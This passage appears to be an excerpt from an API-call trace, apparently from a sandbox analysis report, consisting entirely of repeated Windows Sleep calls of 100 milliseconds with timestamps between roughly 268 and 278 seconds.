Sleep (dwMilliseconds=0x64) [0268.612] Sleep (dwMilliseconds=0x64) [0268.628] Sleep (dwMilliseconds=0x64) [0268.644] Sleep (dwMilliseconds=0x64) [0268.659] Sleep (dwMilliseconds=0x64) [0268.675] Sleep (dwMilliseconds=0x64) [0268.691] Sleep (dwMilliseconds=0x64) [0268.706] Sleep (dwMilliseconds=0x64) [0268.722] Sleep (dwMilliseconds=0x64) [0268.737] Sleep (dwMilliseconds=0x64) [0268.753] Sleep (dwMilliseconds=0x64) [0268.769] Sleep (dwMilliseconds=0x64) [0268.784] Sleep (dwMilliseconds=0x64) [0268.808] Sleep (dwMilliseconds=0x64) [0268.815] Sleep (dwMilliseconds=0x64) [0268.832] Sleep (dwMilliseconds=0x64) [0268.847] Sleep (dwMilliseconds=0x64) [0268.862] Sleep (dwMilliseconds=0x64) [0268.878] Sleep (dwMilliseconds=0x64) [0268.893] Sleep (dwMilliseconds=0x64) [0268.909] Sleep (dwMilliseconds=0x64) [0268.925] Sleep (dwMilliseconds=0x64) [0268.941] Sleep (dwMilliseconds=0x64) [0268.956] Sleep (dwMilliseconds=0x64) [0268.971] Sleep (dwMilliseconds=0x64) [0268.987] Sleep (dwMilliseconds=0x64) [0269.002] Sleep (dwMilliseconds=0x64) [0269.018] Sleep (dwMilliseconds=0x64) [0269.034] Sleep (dwMilliseconds=0x64) [0269.049] Sleep (dwMilliseconds=0x64) [0269.065] Sleep (dwMilliseconds=0x64) [0269.080] Sleep (dwMilliseconds=0x64) [0269.111] Sleep (dwMilliseconds=0x64) [0269.112] Sleep (dwMilliseconds=0x64) [0269.127] Sleep (dwMilliseconds=0x64) [0269.143] Sleep (dwMilliseconds=0x64) [0269.158] Sleep (dwMilliseconds=0x64) [0269.176] Sleep (dwMilliseconds=0x64) [0269.190] Sleep (dwMilliseconds=0x64) [0269.205] Sleep (dwMilliseconds=0x64) [0269.221] Sleep (dwMilliseconds=0x64) [0269.237] Sleep (dwMilliseconds=0x64) [0269.252] Sleep (dwMilliseconds=0x64) [0269.268] Sleep (dwMilliseconds=0x64) [0269.283] Sleep (dwMilliseconds=0x64) [0269.299] Sleep (dwMilliseconds=0x64) [0269.314] Sleep (dwMilliseconds=0x64) [0269.330] Sleep (dwMilliseconds=0x64) [0269.355] Sleep (dwMilliseconds=0x64) [0269.361] Sleep (dwMilliseconds=0x64) [0269.377] Sleep (dwMilliseconds=0x64) [0269.392] Sleep (dwMilliseconds=0x64) [0269.408] Sleep (dwMilliseconds=0x64) [0269.424] Sleep (dwMilliseconds=0x64) [0269.439] Sleep (dwMilliseconds=0x64) [0269.457] Sleep (dwMilliseconds=0x64) [0269.471] Sleep (dwMilliseconds=0x64) [0269.486] Sleep (dwMilliseconds=0x64) [0269.502] Sleep (dwMilliseconds=0x64) [0269.517] Sleep (dwMilliseconds=0x64) [0269.533] Sleep (dwMilliseconds=0x64) [0269.549] Sleep (dwMilliseconds=0x64) [0269.564] Sleep (dwMilliseconds=0x64) [0269.580] Sleep (dwMilliseconds=0x64) [0269.595] Sleep (dwMilliseconds=0x64) [0269.621] Sleep (dwMilliseconds=0x64) [0269.626] Sleep (dwMilliseconds=0x64) [0269.642] Sleep (dwMilliseconds=0x64) [0269.658] Sleep (dwMilliseconds=0x64) [0269.674] Sleep (dwMilliseconds=0x64) [0269.689] Sleep (dwMilliseconds=0x64) [0269.705] Sleep (dwMilliseconds=0x64) [0269.720] Sleep (dwMilliseconds=0x64) [0269.736] Sleep (dwMilliseconds=0x64) [0269.751] Sleep (dwMilliseconds=0x64) [0269.767] Sleep (dwMilliseconds=0x64) [0269.783] Sleep (dwMilliseconds=0x64) [0269.798] Sleep (dwMilliseconds=0x64) [0269.814] Sleep (dwMilliseconds=0x64) [0269.829] Sleep (dwMilliseconds=0x64) [0269.845] Sleep (dwMilliseconds=0x64) [0269.860] Sleep (dwMilliseconds=0x64) [0269.876] Sleep (dwMilliseconds=0x64) [0269.892] Sleep (dwMilliseconds=0x64) [0269.907] Sleep (dwMilliseconds=0x64) [0269.923] Sleep (dwMilliseconds=0x64) [0269.939] Sleep (dwMilliseconds=0x64) [0269.954] Sleep (dwMilliseconds=0x64) [0269.970] Sleep (dwMilliseconds=0x64) [0269.985] Sleep (dwMilliseconds=0x64) [0270.002] Sleep (dwMilliseconds=0x64) [0270.016] Sleep (dwMilliseconds=0x64) [0270.032] Sleep (dwMilliseconds=0x64) [0270.048] Sleep (dwMilliseconds=0x64) [0270.063] Sleep (dwMilliseconds=0x64) [0270.079] Sleep (dwMilliseconds=0x64) [0270.095] Sleep (dwMilliseconds=0x64) [0270.124] Sleep (dwMilliseconds=0x64) [0270.125] Sleep (dwMilliseconds=0x64) [0270.142] Sleep (dwMilliseconds=0x64) [0270.157] Sleep (dwMilliseconds=0x64) [0270.172] Sleep (dwMilliseconds=0x64) [0270.190] Sleep (dwMilliseconds=0x64) [0270.204] Sleep (dwMilliseconds=0x64) [0270.220] Sleep (dwMilliseconds=0x64) [0270.235] Sleep (dwMilliseconds=0x64) [0270.251] Sleep (dwMilliseconds=0x64) [0270.266] Sleep (dwMilliseconds=0x64) [0270.282] Sleep (dwMilliseconds=0x64) [0270.297] Sleep (dwMilliseconds=0x64) [0270.313] Sleep (dwMilliseconds=0x64) [0270.329] Sleep (dwMilliseconds=0x64) [0270.360] Sleep (dwMilliseconds=0x64) [0270.375] Sleep (dwMilliseconds=0x64) [0270.391] Sleep (dwMilliseconds=0x64) [0270.406] Sleep (dwMilliseconds=0x64) [0270.422] Sleep (dwMilliseconds=0x64) [0270.438] Sleep (dwMilliseconds=0x64) [0270.453] Sleep (dwMilliseconds=0x64) [0270.469] Sleep (dwMilliseconds=0x64) [0270.484] Sleep (dwMilliseconds=0x64) [0270.500] Sleep (dwMilliseconds=0x64) [0270.516] Sleep (dwMilliseconds=0x64) [0270.531] Sleep (dwMilliseconds=0x64) [0270.548] Sleep (dwMilliseconds=0x64) [0270.562] Sleep (dwMilliseconds=0x64) [0270.578] Sleep (dwMilliseconds=0x64) [0270.594] Sleep (dwMilliseconds=0x64) [0270.610] Sleep (dwMilliseconds=0x64) [0270.625] Sleep (dwMilliseconds=0x64) [0270.641] Sleep (dwMilliseconds=0x64) [0270.656] Sleep (dwMilliseconds=0x64) [0270.672] Sleep (dwMilliseconds=0x64) [0270.687] Sleep (dwMilliseconds=0x64) [0270.706] Sleep (dwMilliseconds=0x64) [0270.718] Sleep (dwMilliseconds=0x64) [0270.734] Sleep (dwMilliseconds=0x64) [0270.750] Sleep (dwMilliseconds=0x64) [0270.765] Sleep (dwMilliseconds=0x64) [0270.781] Sleep (dwMilliseconds=0x64) [0270.797] Sleep (dwMilliseconds=0x64) [0270.812] Sleep (dwMilliseconds=0x64) [0270.828] Sleep (dwMilliseconds=0x64) [0270.843] Sleep (dwMilliseconds=0x64) [0270.859] Sleep (dwMilliseconds=0x64) [0270.874] Sleep (dwMilliseconds=0x64) [0270.890] Sleep (dwMilliseconds=0x64) [0270.906] Sleep (dwMilliseconds=0x64) [0270.921] Sleep (dwMilliseconds=0x64) [0270.937] Sleep (dwMilliseconds=0x64) [0270.953] Sleep (dwMilliseconds=0x64) [0270.968] Sleep (dwMilliseconds=0x64) [0270.984] Sleep (dwMilliseconds=0x64) [0270.999] Sleep (dwMilliseconds=0x64) [0271.015] Sleep (dwMilliseconds=0x64) [0271.030] Sleep (dwMilliseconds=0x64) [0271.046] Sleep (dwMilliseconds=0x64) [0271.062] Sleep (dwMilliseconds=0x64) [0271.078] Sleep (dwMilliseconds=0x64) [0271.093] Sleep (dwMilliseconds=0x64) [0271.109] Sleep (dwMilliseconds=0x64) [0271.138] Sleep (dwMilliseconds=0x64) [0271.139] Sleep (dwMilliseconds=0x64) [0271.155] Sleep (dwMilliseconds=0x64) [0271.171] Sleep (dwMilliseconds=0x64) [0271.186] Sleep (dwMilliseconds=0x64) [0271.202] Sleep (dwMilliseconds=0x64) [0271.218] Sleep (dwMilliseconds=0x64) [0271.233] Sleep (dwMilliseconds=0x64) [0271.249] Sleep (dwMilliseconds=0x64) [0271.267] Sleep (dwMilliseconds=0x64) [0271.280] Sleep (dwMilliseconds=0x64) [0271.296] Sleep (dwMilliseconds=0x64) [0271.311] Sleep (dwMilliseconds=0x64) [0271.327] Sleep (dwMilliseconds=0x64) [0271.342] Sleep (dwMilliseconds=0x64) [0271.374] Sleep (dwMilliseconds=0x64) [0271.389] Sleep (dwMilliseconds=0x64) [0271.405] Sleep (dwMilliseconds=0x64) [0271.422] Sleep (dwMilliseconds=0x64) [0271.436] Sleep (dwMilliseconds=0x64) [0271.452] Sleep (dwMilliseconds=0x64) [0271.467] Sleep (dwMilliseconds=0x64) [0271.483] Sleep (dwMilliseconds=0x64) [0271.498] Sleep (dwMilliseconds=0x64) [0271.514] Sleep (dwMilliseconds=0x64) [0271.530] Sleep (dwMilliseconds=0x64) [0271.545] Sleep (dwMilliseconds=0x64) [0271.561] Sleep (dwMilliseconds=0x64) [0271.577] Sleep (dwMilliseconds=0x64) [0271.592] Sleep (dwMilliseconds=0x64) [0271.608] Sleep (dwMilliseconds=0x64) [0271.624] Sleep (dwMilliseconds=0x64) [0271.642] Sleep (dwMilliseconds=0x64) [0271.655] Sleep (dwMilliseconds=0x64) [0271.670] Sleep (dwMilliseconds=0x64) [0271.686] Sleep (dwMilliseconds=0x64) [0271.701] Sleep (dwMilliseconds=0x64) [0271.717] Sleep (dwMilliseconds=0x64) [0271.733] Sleep (dwMilliseconds=0x64) [0271.748] Sleep (dwMilliseconds=0x64) [0271.766] Sleep (dwMilliseconds=0x64) [0271.779] Sleep (dwMilliseconds=0x64) [0271.795] Sleep (dwMilliseconds=0x64) [0271.811] Sleep (dwMilliseconds=0x64) [0271.826] Sleep (dwMilliseconds=0x64) [0271.842] Sleep (dwMilliseconds=0x64) [0271.857] Sleep (dwMilliseconds=0x64) [0271.874] Sleep (dwMilliseconds=0x64) [0271.888] Sleep (dwMilliseconds=0x64) [0271.904] Sleep (dwMilliseconds=0x64) [0271.920] Sleep (dwMilliseconds=0x64) [0271.937] Sleep (dwMilliseconds=0x64) [0271.960] Sleep (dwMilliseconds=0x64) [0271.966] Sleep (dwMilliseconds=0x64) [0271.982] Sleep (dwMilliseconds=0x64) [0271.998] Sleep (dwMilliseconds=0x64) [0272.013] Sleep (dwMilliseconds=0x64) [0272.029] Sleep (dwMilliseconds=0x64) [0272.050] Sleep (dwMilliseconds=0x64) [0272.062] Sleep (dwMilliseconds=0x64) [0272.076] Sleep (dwMilliseconds=0x64) [0272.091] Sleep (dwMilliseconds=0x64) [0272.107] Sleep (dwMilliseconds=0x64) [0272.123] Sleep (dwMilliseconds=0x64) [0272.152] Sleep (dwMilliseconds=0x64) [0272.154] Sleep (dwMilliseconds=0x64) [0272.169] Sleep (dwMilliseconds=0x64) [0272.185] Sleep (dwMilliseconds=0x64) [0272.209] Sleep (dwMilliseconds=0x64) [0272.216] Sleep (dwMilliseconds=0x64) [0272.232] Sleep (dwMilliseconds=0x64) [0272.247] Sleep (dwMilliseconds=0x64) [0272.263] Sleep (dwMilliseconds=0x64) [0272.280] Sleep (dwMilliseconds=0x64) [0272.294] Sleep (dwMilliseconds=0x64) [0272.310] Sleep (dwMilliseconds=0x64) [0272.325] Sleep (dwMilliseconds=0x64) [0272.341] Sleep (dwMilliseconds=0x64) [0272.370] Sleep (dwMilliseconds=0x64) [0272.372] Sleep (dwMilliseconds=0x64) [0272.387] Sleep (dwMilliseconds=0x64) [0272.403] Sleep (dwMilliseconds=0x64) [0272.419] Sleep (dwMilliseconds=0x64) [0272.435] Sleep (dwMilliseconds=0x64) [0272.450] Sleep (dwMilliseconds=0x64) [0272.465] Sleep (dwMilliseconds=0x64) [0272.481] Sleep (dwMilliseconds=0x64) [0272.497] Sleep (dwMilliseconds=0x64) [0272.512] Sleep (dwMilliseconds=0x64) [0272.528] Sleep (dwMilliseconds=0x64) [0272.544] Sleep (dwMilliseconds=0x64) [0272.559] Sleep (dwMilliseconds=0x64) [0272.578] Sleep (dwMilliseconds=0x64) [0272.590] Sleep (dwMilliseconds=0x64) [0272.606] Sleep (dwMilliseconds=0x64) [0272.622] Sleep (dwMilliseconds=0x64) [0272.637] Sleep (dwMilliseconds=0x64) [0272.655] Sleep (dwMilliseconds=0x64) [0272.668] Sleep (dwMilliseconds=0x64) [0272.685] Sleep (dwMilliseconds=0x64) [0272.700] Sleep (dwMilliseconds=0x64) [0272.715] Sleep (dwMilliseconds=0x64) [0272.731] Sleep (dwMilliseconds=0x64) [0272.747] Sleep (dwMilliseconds=0x64) [0272.762] Sleep (dwMilliseconds=0x64) [0272.779] Sleep (dwMilliseconds=0x64) [0272.793] Sleep (dwMilliseconds=0x64) [0272.809] Sleep (dwMilliseconds=0x64) [0272.824] Sleep (dwMilliseconds=0x64) [0272.840] Sleep (dwMilliseconds=0x64) [0272.864] Sleep (dwMilliseconds=0x64) [0272.871] Sleep (dwMilliseconds=0x64) [0272.887] Sleep (dwMilliseconds=0x64) [0272.902] Sleep (dwMilliseconds=0x64) [0272.918] Sleep (dwMilliseconds=0x64) [0272.934] Sleep (dwMilliseconds=0x64) [0272.950] Sleep (dwMilliseconds=0x64) [0272.965] Sleep (dwMilliseconds=0x64) [0272.980] Sleep (dwMilliseconds=0x64) [0272.996] Sleep (dwMilliseconds=0x64) [0273.012] Sleep (dwMilliseconds=0x64) [0273.027] Sleep (dwMilliseconds=0x64) [0273.043] Sleep (dwMilliseconds=0x64) [0273.059] Sleep (dwMilliseconds=0x64) [0273.076] Sleep (dwMilliseconds=0x64) [0273.090] Sleep (dwMilliseconds=0x64) [0273.105] Sleep (dwMilliseconds=0x64) [0273.121] Sleep (dwMilliseconds=0x64) [0273.151] Sleep (dwMilliseconds=0x64) [0273.152] Sleep (dwMilliseconds=0x64) [0273.167] Sleep (dwMilliseconds=0x64) [0273.183] Sleep (dwMilliseconds=0x64) [0273.199] Sleep (dwMilliseconds=0x64) [0273.215] Sleep (dwMilliseconds=0x64) [0273.230] Sleep (dwMilliseconds=0x64) [0273.246] Sleep (dwMilliseconds=0x64) [0273.261] Sleep (dwMilliseconds=0x64) [0273.277] Sleep (dwMilliseconds=0x64) [0273.293] Sleep (dwMilliseconds=0x64) [0273.308] Sleep (dwMilliseconds=0x64) [0273.324] Sleep (dwMilliseconds=0x64) [0273.339] Sleep (dwMilliseconds=0x64) [0273.367] Sleep (dwMilliseconds=0x64) [0273.371] Sleep (dwMilliseconds=0x64) [0273.386] Sleep (dwMilliseconds=0x64) [0273.402] Sleep (dwMilliseconds=0x64) [0273.417] Sleep (dwMilliseconds=0x64) [0273.433] Sleep (dwMilliseconds=0x64) [0273.449] Sleep (dwMilliseconds=0x64) [0273.464] Sleep (dwMilliseconds=0x64) [0273.483] Sleep (dwMilliseconds=0x64) [0273.495] Sleep (dwMilliseconds=0x64) [0273.511] Sleep (dwMilliseconds=0x64) [0273.526] Sleep (dwMilliseconds=0x64) [0273.542] Sleep (dwMilliseconds=0x64) [0273.558] Sleep (dwMilliseconds=0x64) [0273.573] Sleep (dwMilliseconds=0x64) [0273.592] Sleep (dwMilliseconds=0x64) [0273.604] Sleep (dwMilliseconds=0x64) [0273.620] Sleep (dwMilliseconds=0x64) [0273.636] Sleep (dwMilliseconds=0x64) [0273.651] Sleep (dwMilliseconds=0x64) [0273.669] Sleep (dwMilliseconds=0x64) [0273.683] Sleep (dwMilliseconds=0x64) [0273.698] Sleep (dwMilliseconds=0x64) [0273.714] Sleep (dwMilliseconds=0x64) [0273.730] Sleep (dwMilliseconds=0x64) [0273.746] Sleep (dwMilliseconds=0x64) [0273.760] Sleep (dwMilliseconds=0x64) [0273.776] Sleep (dwMilliseconds=0x64) [0273.792] Sleep (dwMilliseconds=0x64) [0273.807] Sleep (dwMilliseconds=0x64) [0273.823] Sleep (dwMilliseconds=0x64) [0273.839] Sleep (dwMilliseconds=0x64) [0273.854] Sleep (dwMilliseconds=0x64) [0273.870] Sleep (dwMilliseconds=0x64) [0273.885] Sleep (dwMilliseconds=0x64) [0273.902] Sleep (dwMilliseconds=0x64) [0273.917] Sleep (dwMilliseconds=0x64) [0273.933] Sleep (dwMilliseconds=0x64) [0273.948] Sleep (dwMilliseconds=0x64) [0273.963] Sleep (dwMilliseconds=0x64) [0273.979] Sleep (dwMilliseconds=0x64) [0273.995] Sleep (dwMilliseconds=0x64) [0274.010] Sleep (dwMilliseconds=0x64) [0274.026] Sleep (dwMilliseconds=0x64) [0274.046] Sleep (dwMilliseconds=0x64) [0274.057] Sleep (dwMilliseconds=0x64) [0274.072] Sleep (dwMilliseconds=0x64) [0274.088] Sleep (dwMilliseconds=0x64) [0274.104] Sleep (dwMilliseconds=0x64) [0274.119] Sleep (dwMilliseconds=0x64) [0274.135] Sleep (dwMilliseconds=0x64) [0274.166] Sleep (dwMilliseconds=0x64) [0274.182] Sleep (dwMilliseconds=0x64) [0274.199] Sleep (dwMilliseconds=0x64) [0274.214] Sleep (dwMilliseconds=0x64) [0274.228] Sleep (dwMilliseconds=0x64) [0274.244] Sleep (dwMilliseconds=0x64) [0274.260] Sleep (dwMilliseconds=0x64) [0274.278] Sleep (dwMilliseconds=0x64) [0274.291] Sleep (dwMilliseconds=0x64) [0274.307] Sleep (dwMilliseconds=0x64) [0274.322] Sleep (dwMilliseconds=0x64) [0274.338] Sleep (dwMilliseconds=0x64) [0274.368] Sleep (dwMilliseconds=0x64) [0274.369] Sleep (dwMilliseconds=0x64) [0274.385] Sleep (dwMilliseconds=0x64) [0274.400] Sleep (dwMilliseconds=0x64) [0274.416] Sleep (dwMilliseconds=0x64) [0274.431] Sleep (dwMilliseconds=0x64) [0274.447] Sleep (dwMilliseconds=0x64) [0274.462] Sleep (dwMilliseconds=0x64) [0274.478] Sleep (dwMilliseconds=0x64) [0274.496] Sleep (dwMilliseconds=0x64) [0274.509] Sleep (dwMilliseconds=0x64) [0274.525] Sleep (dwMilliseconds=0x64) [0274.540] Sleep (dwMilliseconds=0x64) [0274.556] Sleep (dwMilliseconds=0x64) [0274.572] Sleep (dwMilliseconds=0x64) [0274.587] Sleep (dwMilliseconds=0x64) [0274.605] Sleep (dwMilliseconds=0x64) [0274.619] Sleep (dwMilliseconds=0x64) [0274.634] Sleep (dwMilliseconds=0x64) [0274.650] Sleep (dwMilliseconds=0x64) [0274.665] Sleep (dwMilliseconds=0x64) [0274.682] Sleep (dwMilliseconds=0x64) [0274.696] Sleep (dwMilliseconds=0x64) [0274.712] Sleep (dwMilliseconds=0x64) [0274.728] Sleep (dwMilliseconds=0x64) [0274.743] Sleep (dwMilliseconds=0x64) [0274.759] Sleep (dwMilliseconds=0x64) [0274.774] Sleep (dwMilliseconds=0x64) [0274.790] Sleep (dwMilliseconds=0x64) [0274.806] Sleep (dwMilliseconds=0x64) [0274.822] Sleep (dwMilliseconds=0x64) [0274.837] Sleep (dwMilliseconds=0x64) [0274.852] Sleep (dwMilliseconds=0x64) [0274.868] Sleep (dwMilliseconds=0x64) [0274.884] Sleep (dwMilliseconds=0x64) [0274.899] Sleep (dwMilliseconds=0x64) [0274.915] Sleep (dwMilliseconds=0x64) [0274.931] Sleep (dwMilliseconds=0x64) [0274.947] Sleep (dwMilliseconds=0x64) [0274.962] Sleep (dwMilliseconds=0x64) [0274.977] Sleep (dwMilliseconds=0x64) [0274.993] Sleep (dwMilliseconds=0x64) [0275.008] Sleep (dwMilliseconds=0x64) [0275.024] Sleep (dwMilliseconds=0x64) [0275.040] Sleep (dwMilliseconds=0x64) [0275.055] Sleep (dwMilliseconds=0x64) [0275.071] Sleep (dwMilliseconds=0x64) [0275.086] Sleep (dwMilliseconds=0x64) [0275.102] Sleep (dwMilliseconds=0x64) [0275.118] Sleep (dwMilliseconds=0x64) [0275.133] Sleep (dwMilliseconds=0x64) [0275.149] Sleep (dwMilliseconds=0x64) [0275.178] Sleep (dwMilliseconds=0x64) [0275.180] Sleep (dwMilliseconds=0x64) [0275.196] Sleep (dwMilliseconds=0x64) [0275.212] Sleep (dwMilliseconds=0x64) [0275.227] Sleep (dwMilliseconds=0x64) [0275.243] Sleep (dwMilliseconds=0x64) [0275.258] Sleep (dwMilliseconds=0x64) [0275.274] Sleep (dwMilliseconds=0x64) [0275.291] Sleep (dwMilliseconds=0x64) [0275.305] Sleep (dwMilliseconds=0x64) [0275.321] Sleep (dwMilliseconds=0x64) [0275.336] Sleep (dwMilliseconds=0x64) [0275.366] Sleep (dwMilliseconds=0x64) [0275.367] Sleep (dwMilliseconds=0x64) [0275.383] Sleep (dwMilliseconds=0x64) [0275.398] Sleep (dwMilliseconds=0x64) [0275.414] Sleep (dwMilliseconds=0x64) [0275.430] Sleep (dwMilliseconds=0x64) [0275.445] Sleep (dwMilliseconds=0x64) [0275.461] Sleep (dwMilliseconds=0x64) [0275.477] Sleep (dwMilliseconds=0x64) [0275.492] Sleep (dwMilliseconds=0x64) [0275.509] Sleep (dwMilliseconds=0x64) [0275.523] Sleep (dwMilliseconds=0x64) [0275.539] Sleep (dwMilliseconds=0x64) [0275.555] Sleep (dwMilliseconds=0x64) [0275.570] Sleep (dwMilliseconds=0x64) [0275.586] Sleep (dwMilliseconds=0x64) [0275.601] Sleep (dwMilliseconds=0x64) [0275.618] Sleep (dwMilliseconds=0x64) [0275.632] Sleep (dwMilliseconds=0x64) [0275.648] Sleep (dwMilliseconds=0x64) [0275.664] Sleep (dwMilliseconds=0x64) [0275.679] Sleep (dwMilliseconds=0x64) [0275.696] Sleep (dwMilliseconds=0x64) [0275.710] Sleep (dwMilliseconds=0x64) [0275.726] Sleep (dwMilliseconds=0x64) [0275.742] Sleep (dwMilliseconds=0x64) [0275.757] Sleep (dwMilliseconds=0x64) [0275.777] Sleep (dwMilliseconds=0x64) [0275.788] Sleep (dwMilliseconds=0x64) [0275.805] Sleep (dwMilliseconds=0x64) [0275.820] Sleep (dwMilliseconds=0x64) [0275.835] Sleep (dwMilliseconds=0x64) [0275.851] Sleep (dwMilliseconds=0x64) [0275.867] Sleep (dwMilliseconds=0x64) [0275.882] Sleep (dwMilliseconds=0x64) [0275.905] Sleep (dwMilliseconds=0x64) [0275.913] Sleep (dwMilliseconds=0x64) [0275.929] Sleep (dwMilliseconds=0x64) [0275.945] Sleep (dwMilliseconds=0x64) [0275.960] Sleep (dwMilliseconds=0x64) [0275.976] Sleep (dwMilliseconds=0x64) [0275.991] Sleep (dwMilliseconds=0x64) [0276.007] Sleep (dwMilliseconds=0x64) [0276.022] Sleep (dwMilliseconds=0x64) [0276.038] Sleep (dwMilliseconds=0x64) [0276.054] Sleep (dwMilliseconds=0x64) [0276.069] Sleep (dwMilliseconds=0x64) [0276.085] Sleep (dwMilliseconds=0x64) [0276.100] Sleep (dwMilliseconds=0x64) [0276.116] Sleep (dwMilliseconds=0x64) [0276.132] Sleep (dwMilliseconds=0x64) [0276.147] Sleep (dwMilliseconds=0x64) [0276.163] Sleep (dwMilliseconds=0x64) [0276.192] Sleep (dwMilliseconds=0x64) [0276.194] Sleep (dwMilliseconds=0x64) [0276.209] Sleep (dwMilliseconds=0x64) [0276.227] Sleep (dwMilliseconds=0x64) [0276.241] Sleep (dwMilliseconds=0x64) [0276.256] Sleep (dwMilliseconds=0x64) [0276.272] Sleep (dwMilliseconds=0x64) [0276.288] Sleep (dwMilliseconds=0x64) [0276.305] Sleep (dwMilliseconds=0x64) [0276.319] Sleep (dwMilliseconds=0x64) [0276.335] Sleep (dwMilliseconds=0x64) [0276.361] Sleep (dwMilliseconds=0x64) [0276.366] Sleep (dwMilliseconds=0x64) [0276.381] Sleep (dwMilliseconds=0x64) [0276.397] Sleep (dwMilliseconds=0x64) [0276.412] Sleep (dwMilliseconds=0x64) [0276.428] Sleep (dwMilliseconds=0x64) [0276.444] Sleep (dwMilliseconds=0x64) [0276.459] Sleep (dwMilliseconds=0x64) [0276.475] Sleep (dwMilliseconds=0x64) [0276.491] Sleep (dwMilliseconds=0x64) [0276.506] Sleep (dwMilliseconds=0x64) [0276.523] Sleep (dwMilliseconds=0x64) [0276.537] Sleep (dwMilliseconds=0x64) [0276.553] Sleep (dwMilliseconds=0x64) [0276.568] Sleep (dwMilliseconds=0x64) [0276.584] Sleep (dwMilliseconds=0x64) [0276.600] Sleep (dwMilliseconds=0x64) [0276.615] Sleep (dwMilliseconds=0x64) [0276.631] Sleep (dwMilliseconds=0x64) [0276.646] Sleep (dwMilliseconds=0x64) [0276.662] Sleep (dwMilliseconds=0x64) [0276.678] Sleep (dwMilliseconds=0x64) [0276.693] Sleep (dwMilliseconds=0x64) [0276.709] Sleep (dwMilliseconds=0x64) [0276.724] Sleep (dwMilliseconds=0x64) [0276.740] Sleep (dwMilliseconds=0x64) [0276.756] Sleep (dwMilliseconds=0x64) [0276.771] Sleep (dwMilliseconds=0x64) [0276.790] Sleep (dwMilliseconds=0x64) [0276.803] Sleep (dwMilliseconds=0x64) [0276.818] Sleep (dwMilliseconds=0x64) [0276.834] Sleep (dwMilliseconds=0x64) [0276.849] Sleep (dwMilliseconds=0x64) [0276.865] Sleep (dwMilliseconds=0x64) [0276.881] Sleep (dwMilliseconds=0x64) [0276.896] Sleep (dwMilliseconds=0x64) [0276.912] Sleep (dwMilliseconds=0x64) [0276.927] Sleep (dwMilliseconds=0x64) [0276.944] Sleep (dwMilliseconds=0x64) [0276.959] Sleep (dwMilliseconds=0x64) [0276.974] Sleep (dwMilliseconds=0x64) [0276.990] Sleep (dwMilliseconds=0x64) [0277.005] Sleep (dwMilliseconds=0x64) [0277.021] Sleep (dwMilliseconds=0x64) [0277.036] Sleep (dwMilliseconds=0x64) [0277.052] Sleep (dwMilliseconds=0x64) [0277.068] Sleep (dwMilliseconds=0x64) [0277.083] Sleep (dwMilliseconds=0x64) [0277.099] Sleep (dwMilliseconds=0x64) [0277.115] Sleep (dwMilliseconds=0x64) [0277.130] Sleep (dwMilliseconds=0x64) [0277.146] Sleep (dwMilliseconds=0x64) [0277.161] Sleep (dwMilliseconds=0x64) [0277.177] Sleep (dwMilliseconds=0x64) [0277.206] Sleep (dwMilliseconds=0x64) [0277.208] Sleep (dwMilliseconds=0x64) [0277.224] Sleep (dwMilliseconds=0x64) [0277.239] Sleep (dwMilliseconds=0x64) [0277.255] Sleep (dwMilliseconds=0x64) [0277.270] Sleep (dwMilliseconds=0x64) [0277.286] Sleep (dwMilliseconds=0x64) [0277.302] Sleep (dwMilliseconds=0x64) [0277.318] Sleep (dwMilliseconds=0x64) [0277.333] Sleep (dwMilliseconds=0x64) [0277.359] Sleep (dwMilliseconds=0x64) [0277.364] Sleep (dwMilliseconds=0x64) [0277.379] Sleep (dwMilliseconds=0x64) [0277.395] Sleep (dwMilliseconds=0x64) [0277.411] Sleep (dwMilliseconds=0x64) [0277.427] Sleep (dwMilliseconds=0x64) [0277.442] Sleep (dwMilliseconds=0x64) [0277.458] Sleep (dwMilliseconds=0x64) [0277.473] Sleep (dwMilliseconds=0x64) [0277.490] Sleep (dwMilliseconds=0x64) [0277.504] Sleep (dwMilliseconds=0x64) [0277.520] Sleep (dwMilliseconds=0x64) [0277.536] Sleep (dwMilliseconds=0x64) [0277.552] Sleep (dwMilliseconds=0x64) [0277.567] Sleep (dwMilliseconds=0x64) [0277.582] Sleep (dwMilliseconds=0x64) [0277.598] Sleep (dwMilliseconds=0x64) [0277.614] Sleep (dwMilliseconds=0x64) [0277.629] Sleep (dwMilliseconds=0x64) [0277.645] Sleep (dwMilliseconds=0x64) [0277.660] Sleep (dwMilliseconds=0x64) [0277.676] Sleep (dwMilliseconds=0x64) [0277.692] Sleep (dwMilliseconds=0x64) [0277.707] Sleep (dwMilliseconds=0x64) [0277.723] Sleep (dwMilliseconds=0x64) [0277.739] Sleep (dwMilliseconds=0x64) [0277.754] Sleep (dwMilliseconds=0x64) [0277.770] Sleep (dwMilliseconds=0x64) [0277.785] Sleep (dwMilliseconds=0x64) [0277.804] Sleep (dwMilliseconds=0x64) [0277.816] Sleep (dwMilliseconds=0x64) [0277.832] Sleep (dwMilliseconds=0x64) [0277.848] Sleep (dwMilliseconds=0x64) [0277.864] Sleep (dwMilliseconds=0x64) [0277.879] Sleep (dwMilliseconds=0x64) [0277.894] Sleep (dwMilliseconds=0x64) [0277.910] Sleep (dwMilliseconds=0x64) [0277.926] Sleep (dwMilliseconds=0x64) [0277.941] Sleep (dwMilliseconds=0x64) [0277.959] Sleep (dwMilliseconds=0x64) [0277.973] Sleep (dwMilliseconds=0x64) [0277.988] Sleep (dwMilliseconds=0x64) [0278.004] Sleep (dwMilliseconds=0x64) [0278.020] Sleep (dwMilliseconds=0x64) [0278.035] Sleep (dwMilliseconds=0x64) [0278.051] Sleep (dwMilliseconds=0x64) [0278.066] Sleep (dwMilliseconds=0x64) [0278.082] Sleep (dwMilliseconds=0x64) [0278.099] Sleep (dwMilliseconds=0x64) [0278.113] Sleep (dwMilliseconds=0x64) [0278.128] Sleep (dwMilliseconds=0x64) [0278.144] Sleep (dwMilliseconds=0x64) [0278.160] Sleep (dwMilliseconds=0x64) [0278.175] Sleep (dwMilliseconds=0x64) [0278.191] Sleep (dwMilliseconds=0x64) [0278.219] Sleep (dwMilliseconds=0x64) [0278.223] Sleep (dwMilliseconds=0x64) [0278.239] Sleep (dwMilliseconds=0x64) [0278.253] Sleep (dwMilliseconds=0x64) [0278.269] Sleep (dwMilliseconds=0x64) [0278.284] Sleep (dwMilliseconds=0x64) [0278.300] Sleep (dwMilliseconds=0x64) [0278.316] Sleep (dwMilliseconds=0x64) [0278.331] Sleep (dwMilliseconds=0x64) [0278.357] Sleep (dwMilliseconds=0x64) [0278.362] Sleep (dwMilliseconds=0x64) [0278.378] Sleep (dwMilliseconds=0x64) 